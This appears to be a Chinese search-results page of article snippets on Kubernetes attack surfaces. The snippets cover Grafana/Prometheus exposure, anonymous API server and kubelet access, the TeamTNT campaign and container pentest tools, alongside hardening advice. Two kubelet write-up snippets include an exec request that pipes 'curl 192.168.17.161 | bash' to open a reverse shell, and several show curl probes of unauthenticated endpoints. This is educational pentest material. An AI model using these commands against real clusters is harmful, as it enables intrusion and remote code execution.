首页
学习
活动
专区
圈层
工具
发布

红队视角出发的k8s敏感信息收集——日志与监控系统

针对 Kubernetes 日志与监控系统 的详细攻击视角分析,聚焦 集群审计日志 和 Prometheus/Grafana 暴露 的潜在风险及利用方法攻击链示例1....通过发送一个简单的HTTP请求到Grafana的API端点,可以测试是否启用了登录认证。...使用curl命令向Grafana服务发送请求以检查是否允许匿名访问:curl -v http://10.96.0.201:3000/api/dashboards/home在这个例子中:-v 参数用于显示详细的通信过程...这将构成潜在的安全风险,因为这些信息可以被攻击者利用来进一步探索集群内部结构或发起针对性攻击。使用curl命令可以直接向Prometheus的API发送请求,以测试是否启用了访问控制。...:# 获取所有仪表盘的UID列表uids=$(curl -s http://10.96.0.201:3000/api/search?

93621

Kubernetes云原生安全渗透学习

前言 Kubernetes简称k8s,是当前主流的容器调度平台,被称为云原生时代的操作系统。...Kubernetes中不存在表示此类用户账号的对象, 因此不能被直接添加进 Kubernetes 系统中 。...基于角色的访问控制(RBAC)模式允许你使用 Kubernetes API 创建和存储策略。 WebHook 是一种 HTTP 回调模式,允许你使用远程 REST 端点管理鉴权。...node节点鉴权是一种特殊用途的鉴权模式,专门对 kubelet 发出的 API 请求执行鉴权。 AlwaysDeny阻止所有请求。仅将此标志用于测试。 AlwaysAllow允许所有请求。...)绑定了 cluster-admin (即集群的 admin 权限我们可以对所有namespace下实例进行操作) ,那么我们就可以通过 token 来进行一系列的操作 ## 获取whoami curl

2.1K30
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    如何用证书或者token访问TKE集群api接口

    使用k8s的过程中我们会经常访问集群的api接口,但是通常k8s的apiserver都是用https认证,当我们想直接访问api接口的时候都是需要进行认证的,这个在tke集群中同样也是如此,那么当我们需要在代码或者用...curl请求去访问tke集群的api接口该怎么办呢?.../kubernetes-api/v1.21/ 。...执行curl命令访问的时候会出现下面报错 image.png 因为这里发起curl请求的是匿名用户,匿名用户一般在集群的权限是不够的,所以这里需要通过rbac给匿名用户绑定下clusterrole,这里我们给绑定下集群的管理员角色...的地址可以根据上面APISERVER获取方式获取,token和apiserver地址都获取了,然后就可以访问api了。

    3.1K40

    Kubernetes 安全大揭秘:从攻击面剖析到纵深防御体系构建(上)

    据CNCF 2023年调查报告显示,96%的受访企业正在或计划使用Kubernetes,其覆盖场景从核心业务系统到边缘计算节点无所不包。然而,随着K8s的普及,其暴露的安全问题也愈发严峻。...本文将以攻击者视角剖析Kubernetes各层级的安全威胁,并结合防御实践,为构建“零信任”云原生环境提供系统性指南。2....2. kubelet滥用匿名API访问默认端口10250未启用身份认证时,攻击者可通过/pods接口获取集群所有Pod信息,或通过/exec接口在任意容器内执行命令(如CVE-2018-1002105)...匿名访问滥用未启用RBAC若API Server启动参数包含--anonymous-auth=true且未配置RBAC,攻击者可直接通过匿名请求调用高危API,如:curl -k https://:6443.../api/v1/namespaces/default/pods# 获取所有Pod列表curl -k -XPOST https://:6443/api/v1/namespaces/default/pods

    97210

    详解 HTTP 客户端调用 K8S API,建议收藏!

    本文不仅仅是一个方便的命令列表,而是一个深思熟虑的演练,揭示了您在从命令行调用 Kubernetes API 时可能会偶然发现的一些问题。...它涵盖以下内容: 如何获取 Kubernetes API Server 地址 如何向客户端验证 API Server 如何使用证书向 API Server 验证客户端 如何使用令牌向 API Server...验证客户端 如何从 Pod 内部调用 Kubernetes API 如何使用 curl 对 Kubernetes 对象执行基本的 CRUD 操作 如何使用 kubectl 的 raw 模式直接访问 Kubernetes...由于 curl 无法信任它,因此请求失败。 默认情况下,curl 信任底层操作系统所信任的同一组 CA。...Kubernetes 从证书subject中的通用名称字段中获取用户名(例如,CN = minikube-user)。然后,Kubernetes RBAC 子系统判断用户是否有权对资源执行特定操作。

    12.6K41

    集群安全之Kubelet端口未授权深入利用

    漏洞描述 K8s Node对外开启10250(Kubelet API)和10255端口(readonly API),默认情况下kubelet监听的10250端口没有进行任何认证鉴权,攻击者可以通过利用该设计缺陷来创建恶意...server)的访问权限,默认情况下api server开放的端口为6443,所以可以通过扫描同个网段开放6443的主机来挨个尝试,除了这种方法还可以尝试执行env命令来查看是否有api server...shell指令,之后启动一个简易的HTTP服务: 在本地浏览器中进行简单测试: 之后在攻击主机上监听: 之后进行反弹shell操作: curl --insecure -v -H "X-Stream-Protocol-Version...command=/bin/sh&command=-c&command=curl+192.168.17.161+|+bash&input=1&output=1&tty=1" 发现也为成功,可能是笔者这里的环境问题所致...端口未授权漏洞获取大量的敏感信息并实现在Pod中执行命令的目的,若要进行后渗透利用还需要获取到有效的Token 推 荐 阅 读 横向移动之RDP&Desktop Session Hija

    87510

    Kubelet端口未授权深入利用

    漏洞描述 K8s Node对外开启10250(Kubelet API)和10255端口(readonly API),默认情况下kubelet监听的10250端口没有进行任何认证鉴权,攻击者可以通过利用该设计缺陷来创建恶意...server)的访问权限,默认情况下api server开放的端口为6443,所以可以通过扫描同个网段开放6443的主机来挨个尝试,除了这种方法还可以尝试执行env命令来查看是否有api server...shell指令,之后启动一个简易的HTTP服务: 在本地浏览器中进行简单测试: 之后在攻击主机上监听: 之后进行反弹shell操作: curl --insecure -v -H "X-Stream-Protocol-Version...command=/bin/sh&command=-c&command=curl+192.168.17.161+|+bash&input=1&output=1&tty=1" 发现也为成功,可能是笔者这里的环境问题所致...端口未授权漏洞获取大量的敏感信息并实现在Pod中执行命令的目的,若要进行后渗透利用还需要获取到有效的Token

    64410

    TeamTNT黑客组织以Kubernetes为目标,近50000个IP被攻击

    关注公众号回复【k8s】获取美国国安局K8S加固指南 Kubernetes是Google开源的一个容器编排引擎,它支持自动化部署、大规模可伸缩、应用容器化管理。...使用whoami和uname -m收集用户和系统架构信息,这些信息存储在环境变量中以供以后使用。...kubelet安全设置有三个关键因素: 1.启用Kubelet身份验证,根据Kubernetes的官方介绍,对kubelet的API终端的请求(未被其他身份验证方法阻止)默认情况下被视为匿名请求。...请确保使用--anonymous-auth = false标志启动kubelet并禁用匿名访问。...一种简单的检查方法是尝试从外部IP访问API服务器。这个curl请求应该用来检查API是面向公共的还是其他的“curl -k https://API-SERVER-IP:PORT/api.”。

    96220

    云安全容器安全扫盲 之 CDK工具介绍与使用

    Tool: 修复渗透过程中常用linux命令以及与Docker/K8s API交互命令。 使用场景 伴随着容器技术的快速发展,容器安全问题也逐渐成为企业所关注的话题。...如果你可以在目标容器中执行命令(RCE),但容器中没有wget或curl命令,可以参考下面方法植入: 将CDK下载到你的公网服务器,监听端口: nc -lvp 999 < cdk 在已攻入的目标容器中执行...: cat cdk chmod a+x cdk 使用方法 Evaluate: 容器内部信息收集 [本地信息收集-系统信息] [本地信息收集...[网络信息收集-K8s API Server] 检查ENV信息判断当前容器是否属于K8s Pod,获取K8s api-server连接地址并尝试匿名登录,如果成功意味着可以直接通过api-server接管...[网络信息收集-云厂商内置Metadata API] 探测云厂商内置的Metadata接口,从该接口可以获取到服务器VM的基础信息如OS版本、CPU及网络、DNS配置等,少数情况下可以发现用户在Metadata

    3.9K10

    深入浅出云原生环境信息收集技术(一)

    (1)从云原生控制面服务收集信息 如前所述,如果遇到存在未授权访问漏洞的Kubernetes API Server,不费吹灰之力即可控制整个云原生集群;如果目标设置了合理的访问控制机制,则获取到的有价值信息将大大减少...例如,许多Kubernetes API Server允许匿名用户访问部分API endpoints。...利用此token可以向Kubernetes API Server发起访问,纵使权限很小,至少不再是“匿名访问”,能够访问/version获得版本信息。...如果能够获取到目标环境使用的镜像甚至找到其公开的镜像仓库,就能够分析其镜像组件的脆弱性,找到突破口。 2.利用特殊镜像收集运行时环境信息。...由于runC等容器运行时的设计问题,攻击者能够通过在目标环境部署特殊镜像来获取环境中的容器运行时二进制程序文件,进而获得版本信息,发现潜在脆弱性。

    50820

    云上攻防-云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行

    K8S集群架构解释 Kubernetes是一个开源的,用于编排云平台中多个主机上的容器化的应用,目标是让部署容器化的应用能简单并且高效的使用, 提供了应用部署,规划,更新,维护的一种机制。...其核心的特点就是能够自主的管理容器来保证云平台中的容器按照用户的期望状态运行着,管理员可以加载一个微型服务,让规划器来找到合适的位置,同时,Kubernetes在系统提升工具以及人性化方面,让用户能够方便的部署自己的应用...,本文基于微软发布的Kubernetes威胁矩阵进行扩展,介绍相关的具体攻击方法。...1、攻击8080端口:API Server未授权访问 旧版本的k8s的API Server默认会开启两个端口:8080和6443。...6443是安全端口,安全端口使用TLS加密;但是8080端口无需认证, 仅用于测试。6443端口需要认证,且有 TLS 保护。(k8s<1.16.0) 新版本k8s默认已经不开启8080。

    65210

    K8s API Server未授权利用思路

    API直接对集群下发指令 运维人员将"system:anonymous"用户绑定到"cluster-admin"用户组,使匿名用户可以通过6443端口以管理员权限向集群内部下发指令 漏洞检测 在浏览器中访问以下...URL: #格式说明 http://ip:port/ #使用实例 http://192.168.17.144:8080/ 返回以上信息说明存在K8s API Server未授权访问漏洞~ 漏洞利用 利用方式按严重程度可分为以下两种攻击类型...: 通过利用kubectl客户端调用Secure Port接口去控制已经创建好的容器 通过创建一个自定义的容器将系统根目录的文件挂在到/mnt目录,之后通过修改/mnt/etc/crontab来影响宿主机的...端版本不相同导致的需要进行降级操作,此时需要将版本降低到和目标主机版本一致即可 curl -LO https://storage.googleapis.com/kubernetes-release/release...shell 文末小结 本篇文章介绍了Kubernetes API Server未授权访问的漏洞利用方法,在实际应用中我们需要注意对API Server的访问控制和安全加固,确保Kubernetes集群的安全性

    2K10

    全网最简单的k8s User JWT token管理器

    概述 kubernetes server account的token很容易获取,但是User的token非常麻烦,本文给出一个极简的User token生成方式,让用户可以一个http请求就能获取到。...如果通过使用kubeconfig文件登录而文件中又没有token的话会失败,现在大部分文章都介绍使用service account的token来登录dashboard,能通,不过有问题: 第一:绑定角色时要指定类型是...社区用的比较多的就是dex,是一个比较完整的实现,但是对于不熟悉该技术的朋友来说还是有点门槛的,容易绕进去。 而且还存在一些使用不方便的问题。...然而如果不是集成到别的系统中,比如从0开发一个完成的PaaS平台那使用dex还是一个完美的方案。 所以我们实现了一个简单粗暴的方案,完全解放了这个过程, 只care最核心的东西。.../pki/fist/ca.pem - --oidc-username-claim=name - --oidc-groups-claim=groups 获取及使用 token 获取token curl

    2K20

    记一次 Kubernetes 中严重的安全问题

    近期遇到了一次我们自建 Kubernetes 集群中某台机器被入侵挖矿, 后续也找到了原因, 所幸只是用来挖矿… 网络安全是个严肃的问题, 它总是在不经意间出现, 等你反应过来却已经迟了....kubelet 设置不当 确认入侵问题, kubelet 参数设置错误, 允许直接访问 kubelet 的 api ? 发现是 kubelet 的启动项中, 该位置被注释掉: ?...使用机器时, 假如机器不是暴露给外部使用的, 公网 IP 可有可无的时候, 尽量不要有公网 IP, 我们的机器才上线 1 天就被扫描到了漏洞, 可想而知, 公网上是多么的危险 使用 kubelet 以及其他系统服务时...使用 kubelet 以及其他程序, 设计或是搭建系统时, 对于匿名访问时的权限控制, 我们需要考虑到假如端口匿名会出现什么问题, 是否应该允许匿名访问, 如果不允许匿名访问, 那么怎么做一套鉴权系统?...系统管理员操作时, 是否有一个比较规范化的流程, 是不是该只使用脚本操作线上环境? 手动操作线上环境带来的问题并不好排查和定位.

    82110

    centos7使用kubeadm安装kubernetes 1.11版本多主高可用

    docker v17.03, v1.11,v1.12,v1.13, 也可以使用,再高版本的docker可能无法正常使用。...pause镜像 # 配置kubelet的cgroups # 获取docker的cgroups DOCKER_CGROUPS=$(docker info | grep 'Cgroup' | cut -d'...测试容器间的通信和DNS 配置好网络之后,kubeadm会自动部署coredns 如下测试可以在配置kubectl的节点上操作 启动 kubectl run nginx --replicas=...访问测试 # 10.96.59.56 为查看svc时获取到的clusterip curl "10.96.59.56:80" # 32223 为查看svc时获取到的 nodeport http://11.11.11.112...高可用测试 关闭任一master节点测试集群是能否正常执行上一步的基础测试,查看相关信息,不能同时关闭两个节点,因为3个节点组成的etcd集群,最多只能有一个当机。

    95620

    TKE集群中nginx-ingress使用实践

    现在k8s上服务暴露方式用的最多就是nginx-ingress,今天我们来讲讲nginx-ingress的具体使用,我们在tke上实践下,如何部署使用nginx-ingress,以及nginx的一些注解功能的使用...今天我们主要是在腾讯云上的tke上进行实践测试,不过测试的功能也是支持在其他类型的k8s上使用,只要部署了nignx-ingress就行。.../v1 我们也可以将域名的根目录重写到某一个后端的路径下,这样访问根目录下就会重写到后的真实路径,我们测试下将根路径重写到/api/v2下面 apiVersion: networking.k8s.io/...7. nginx-ingress获取真实客户端ip 很多业务场景需要获取到真实客户端ip,如果是通过nginx-ingress提供访问,那么在后端的pod内怎么样才能获取到真实客户端ip呢?...下面我们以nginx服务为例,当我们通过ingress的域名访问nginx服务,怎么样才能获取真实客户端ip。 如果不配置的话,nginx服务是获取不到真实客户端ip的。

    4.9K103

    CodeSpirit 开发环境搭建指南

    I/O) 注意: CodeSpirit使用Elasticsearch进行审计日志存储和搜索,需要较高的系统配置以确保良好的性能。...测试API # 测试健康检查 curl https://localhost:17134/health # 测试登录 curl -X POST "https://localhost:17134/api/identity...Elasticsearch状态 # 如果内存不足,可以在Program.cs中调整ES配置 # 检查系统资源使用情况 # Elasticsearch需要至少2GB内存 SSL证书问题 # 信任开发证书...restart sqlserver 内存不足问题 如果系统内存不足,可以: 关闭不必要的应用程序 调整Elasticsearch内存设置 考虑升级系统内存到推荐配置 开发模式 热重载开发 #...生产环境部署 使用Kubernetes部署 项目提供了完整的Kubernetes部署文件: # 部署到Kubernetes集群 kubectl apply -f k8s/ # 查看部署状态 kubectl

    18510
    领券